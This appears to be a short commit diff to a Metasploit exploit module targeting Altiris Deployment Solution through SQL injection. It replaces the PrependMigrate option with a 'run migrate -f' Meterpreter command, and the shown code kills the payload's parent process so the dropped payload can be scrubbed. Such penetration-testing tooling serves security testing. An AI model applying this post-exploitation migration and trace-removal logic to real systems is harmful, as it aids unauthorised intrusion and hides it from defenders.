removed PrependMigrate, introduced migrate -f

modules/exploits/windows/mssql/altiris_ds_sqli.rb

@@ -39,7 +39,6 @@ class Metasploit3 < Msf::Exploit::Remote
     ],
    'DefaultOptions' =>
      {
-       'PrependMigrate' => true,
        'EXITFUNC' => 'process',
      },
    'Targets' =>
@@ -208,6 +207,7 @@ Processor-Speed=2659
   #can't scrub dropped payload while the process is still active so...
   #iterate through process list, find our process and the associated parent process ID, Kill the parent
   client.core.use("stdapi")
+  client.console.run_single("run migrate -f")
   client.sys.process.get_processes().each do |proc|
     if proc['pid'] == client.sys.process.open.pid
         client.sys.process.kill(proc['ppid'])